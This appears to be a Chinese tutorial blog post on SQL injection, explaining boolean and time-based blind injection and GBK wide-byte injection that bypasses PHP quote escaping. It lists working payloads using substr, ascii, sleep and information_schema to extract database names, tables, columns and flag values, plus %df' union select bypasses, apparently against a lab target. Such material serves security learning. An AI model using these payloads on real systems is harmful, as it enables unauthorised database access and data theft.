SQL注入篇学习之盲注/宽字节注入


Posted in MySQL onMarch 03, 2022

盲注

有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if()

布尔盲注

布尔很明显就是true和false,也就是说它只会根据信息返回true和false,也就是没有了之前的报错信息。

时间盲注

界面返回值只有一种true,无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数

length() 函数 返回字符串的长度

?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个

?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii码

?id=1 and ord(substr(database(),1,1))=107

limit 0,1 显示第一条

substr(截取的内容,截取的位数,截取的个数)

substr(database(),1,1) 显示第一位字符

时间型:sleep(n) 将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1' and if(length(database())=8,1,sleep(5))-- +

演示语句

猜数据库的长度;
?id=1 and (length(database()))>11#

猜测数据库的库名:
?id=1 and ascii(substr(database(),1,1))>1#

猜表名(示例为查询第一个表名)
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6     //注意括号问题

and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l'     

猜第一个字段名第一个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i'  

猜第一个字段名第二个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i'  


猜第二个字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'#  

猜字段中的内容:
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122

时间盲注猜测数据库的长度:
?id=1" and if(length(database())=12,sleep(5),1) -- +

猜测数据库的库名:
if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

猜测数据库中表的长度:
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +

猜测数据库中的表名:
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +

猜测表中的字段名的长度:
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- +

猜测表中的字段名:
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- +

猜测字段中内容的长度:
?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +

猜测字段中的内容:
?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +

burp抓包演示

先判断长度,再判断内容

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

宽字节注入

php魔术函数

  • magic_quotes_gpc(魔术引号开关)——> 防御sql注入
  • magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误,防止注入使其无法闭合。
  • 单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线

开启方式

SQL注入篇学习之盲注/宽字节注入

php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用,$b = addcslashes($_REQUEST[8]);不在配置文件中打开【原因是将安全编码交给了用户自己,避免用户过度依赖造成安全隐患】,或者在php.ini中修改。

开启效果

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

作用

当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤

绕过方法

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

  • 不需要闭合
  • 仔细查看作用域(POST、GET、COOKIE),$_SERVER就在作用域之外。
  • 宽字节注入

宽字节注入

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)
我们就以gbk字符编码为例,拉开帷幕。GBK【双字符编码】全称《汉字内码扩展规范》,gbk是一种多字符编码【多个字符组在一起成为一个字】。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

  • 核心:传一个字符将反斜杠吃掉成为汉字
  • 数据库使用GBK编码可能存在宽字节注入
  • MySql的编码设置:SET NAMES 'gbk'或是 SET character_set_client =gbk
  • 宽字节SQL注入就是PHP发送请求到MySql时使用了语句
  • SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
  • %df \、%9c \ ——>汉字
  • 绕过其中的单引号等字符,除了采用嵌套法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
  • 也可以采用十六进制标识法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
  • 宽字节注入可以直接传入汉字

SQL注入篇学习之盲注/宽字节注入

总结 

到此这篇关于SQL注入篇学习之盲注/宽字节注入的文章就介绍到这了,更多相关SQL盲注/宽字节注入内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL中in和exists区别详解
Jun 03 MySQL
分析mysql中一条SQL查询语句是如何执行的
Jun 21 MySQL
MySQL8.0.18配置多主一从
Jun 21 MySQL
低版本Druid连接池+MySQL驱动8.0导致线程阻塞、性能受限
Jul 01 MySQL
MySql 缓存查询原理与缓存监控和索引监控介绍
Jul 02 MySQL
mysql 直接拷贝data 目录下文件还原数据的实现
Jul 25 MySQL
Mysql忘记密码解决方法
Feb 12 MySQL
Mysql数据库表中为什么有索引却没有提高查询速度
Feb 24 MySQL
MySQL慢查询优化解决问题
Mar 17 MySQL
Mysql 文件配置解析介绍
May 06 MySQL
MySql数据库触发器使用教程
Jun 01 MySQL
MySQL数据库如何查看表占用空间大小
Jun 10 MySQL
MySQL为数据表建立索引的原则详解
Mar 03 #MySQL
MySQL数据库完全卸载的方法
千万级用户系统SQL调优实战分享
Mar 03 #MySQL
解析MySQL索引的作用
Arthas排查Kubernetes中应用频繁挂掉重启异常
Feb 28 #MySQL
一文搞懂MySQL索引页结构
MySQL七大JOIN的具体使用
You might like
codeigniter教程之多文件上传使用示例
2014/02/11 PHP
正确的PHP匹配UTF-8中文的正则表达式
2015/05/13 PHP
php-redis中的sort排序函数总结
2015/07/08 PHP
PHP使用trim函数去除字符串左右空格及特殊字符实例
2016/01/07 PHP
PHP实现mysqli批量执行多条语句的方法示例
2017/07/22 PHP
Nginx下ThinkPHP5的配置方法详解
2017/08/01 PHP
Yii支持多域名cors原理的实现
2018/12/05 PHP
PHP实现数据四舍五入的方法小结【4种方法】
2019/03/27 PHP
JavaScript 学习 - 提高篇
2007/02/02 Javascript
js 对象是否存在判断
2009/07/15 Javascript
Mootools 1.2教程 同时进行多个形变动画
2009/09/15 Javascript
jQuery源码分析-02正则表达式 RegExp 常用正则表达式
2011/11/14 Javascript
node.js中的http.request方法使用说明
2014/12/14 Javascript
IE中鼠标经过option触发mouseout的解决方法
2015/01/29 Javascript
jQuery Mobile页面返回不需要重新get
2016/04/26 Javascript
AngularJS ng-blur 指令详解及简单实例
2016/07/30 Javascript
jQuery实现点击表格单元格就可以编辑内容的方法【测试可用】
2016/08/01 Javascript
原生JS实现N级菜单的代码
2017/05/21 Javascript
JS实现的简单四则运算计算器功能示例
2017/09/27 Javascript
在vue中使用SockJS实现webSocket通信的过程
2018/08/29 Javascript
JS中的函数与对象的创建方式
2019/05/12 Javascript
ElementUI之Message功能拓展详解
2019/10/18 Javascript
微信小程序实现简单的select下拉框
2020/11/23 Javascript
MySQLdb ImportError: libmysqlclient.so.18解决方法
2014/08/21 Python
python实现爱奇艺登陆密码RSA加密的方法示例详解
2020/05/27 Python
Django实现文章详情页面跳转代码实例
2020/09/16 Python
HTML5中判断横屏竖屏的方法(移动端)
2016/08/04 HTML / CSS
常用的HTML5列表标签
2017/06/20 HTML / CSS
市场部规章制度
2014/01/24 职场文书
文明生主要事迹
2014/05/25 职场文书
医学求职信
2014/05/28 职场文书
司法局群众路线教育实践活动整改措施
2014/09/17 职场文书
一百条裙子读书笔记
2015/07/01 职场文书
python使用pygame创建精灵Sprite
2021/04/06 Python
SpringBoot 集成Redis 过程
2021/06/02 Redis
Golang 并发编程 SingleFlight模式
2022/04/26 Golang